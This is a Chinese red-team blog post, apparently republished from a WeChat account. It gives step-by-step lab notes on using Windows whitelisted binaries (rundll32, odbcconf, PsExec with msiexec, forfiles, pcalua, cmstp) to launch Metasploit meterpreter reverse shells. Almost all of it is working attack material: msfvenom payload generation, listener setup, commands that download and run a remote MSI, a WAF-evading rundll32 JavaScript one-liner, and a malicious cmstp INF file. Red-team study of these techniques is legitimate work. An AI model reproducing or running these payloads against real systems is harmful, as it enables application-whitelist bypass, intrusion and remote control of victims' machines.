渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

  • A+
所属分类:安全文章

渗透攻击红队

一个专注于红队攻击的公众号

基于Windows白名单执行Payload上线Metasploit - 渗透红队笔记


大家好,这里是 渗透攻击红队 的第 17 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深), 不出意外每天一更









基于白名单绕过


测试环境

攻击机:kali(192.168.2.12)

靶机:Win7(192.168.2.13)

靶机:Win10(192.168.2.4)




基于白名单Rundll32上线



Rundll32是指32位的DLL文件,它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

基于本地加载dll上线

首先Msf生成一个DLL文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.12 lport=4567 -f dll > shellcode.dll

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

然后MSF设置监听:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost=192.168.2.12set lport 4567run

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

然后把刚刚MSF生成的 shellcode.dll 上传到目标服务器,加载rundll32.exe运行:

rundll32.exe目录:C:WindowsSysWOW64rundll32.exe运行:rundll32 shell32.dll,Control_RunDLL c:UsersrootDesktopshellcode.dll

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

这个时候MSF收到反弹shell:

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

Rundll32命令执行

rundll32.exe还可以执行命令,可绕过一些waf:(打开远程桌面)

rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject("WScript.Shell");w.run("mstsc");window.close()");

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit





基于白名单odbcconf.exe上线


ODBCCONF.exe 是一种命令行工具,可用于配置 ODBC 驱动程序和数据源的名称。

首先MSF生成一个dll用于加载上线:

msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.12 lport=6666 -f dll > 6666.dll

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

之后设置MSF监听:

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost=192.168.2.12set lport 6666run

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

最后把6666.dll文件上传到靶机服务器并执行命令成功上线:

odbcconf.exe /a {regsvr C:UsersrootDesktop6666.dll}

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit




基于白名单PsExec远程加载Payload上线


微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。

然而PsExec默认在Windows系统上没安装。

我们需要下载它:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

首先我们需要在MSF上生成Payload:

msfvenom -a  x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=7777 -f msi > shellcode.msi

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

之后设置MSF监听:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost=192.168.2.12set lport 7777run

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

紧接着Kali开启一个HTTP服务用于远程加载:

 python -m SimpleHTTPServer 9000

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

这个时候我们访问:http://192.168.2.12:9000/shellcode.msi 就能够下载到我们本地。

之后在目标靶机上运行PsExec.exe反弹shell到Kali:

PsExec.exe -d -s msiexec.exe /q /i http://192.168.2.12:9000/shellcode.msi

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

注意:第一次运行可能会弹框,点击Agree就行了

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

缺点:第一次运行会弹窗。




基于白名单Forfukes远程加载Payload上线


Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。

首先MSF生成一个Payload:

msfvenom -a x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=8888 -f msi > 8888.msi

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

之后设置MSF监听:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost=192.168.2.12set lport 8888run

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

然后使用Python开启一个HTTP服务用于远程加载Payload:

 python -m SimpleHTTPServer 9000

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

这个时候我们访问 http://192.168.2.12:9000/8888.msi 就能够下载到。

随后让靶机运行命令远程加载Payload上线:

forfiles /p c:windowssystem32 /m cmd.exe /c  "msiexec.exe /q /i http://192.168.2.12:9000/8888.msi"

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

缺点:需要让攻击者手动点击安装,还需要过UAC




基于白名单Ocalua执行Payload上线


Pcalua是Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。

首先MSF生成一个Payload

msfvenom -a x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=9999 -f exe > 9999.exe

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

随后MSF设置监听:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost=192.168.2.12set lport 9999run

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

之后吧9999.exe上传到目标服务器pcalua加载运行上线:

Pcalua -m -a 9999.exe

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

缺点:exe落地到服务器有可能会被自带的杀软查杀。




基于白名单Cmstp.exe执行Payload上线


Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。

微软官方文档:https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp

首先MSF生成一个Payload:(x64)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=10000 -f dll > 10000.dll

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

然后设置MSF进行监听:

use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost=192.168.2.12set lport 10000run

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

接着新建一个10000.inf文件,修改 RegisterOCXSection 为 MSF生成的dll路径:

[version]Signature=$chicago$AdvancedINF=2.5 [DefaultInstall_SingleUser]RegisterOCXs=RegisterOCXSection [RegisterOCXSection]C:UsersrootDesktop10000.dll [Strings]AppAct = "SOFTWAREMicrosoftConnection Manager"ServiceName="saul"ShortSvcName="saul"

接着把两个文件,10000.inf和10000.dll上传到目标服务器,运行命令加载上线:

cmstp.exe /s 10000.inf

渗透红队笔记-基于Windows白名单执行Payload上线Metasploit




参考文章:

《渗透红队百科全书》第十一章


渗透红队笔记-基于Windows白名单执行Payload上线Metasploit

渗透攻击红队

一个专注于渗透红队攻击的公众号

基于Windows白名单执行Payload上线Metasploit - 渗透红队笔记



渗透红队笔记-基于Windows白名单执行Payload上线Metasploit
点分享
渗透红队笔记-基于Windows白名单执行Payload上线Metasploit
点点赞
渗透红队笔记-基于Windows白名单执行Payload上线Metasploit
点在看

本文始发于微信公众号(渗透攻击红队):基于Windows白名单执行Payload上线Metasploit - 渗透红队笔记

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: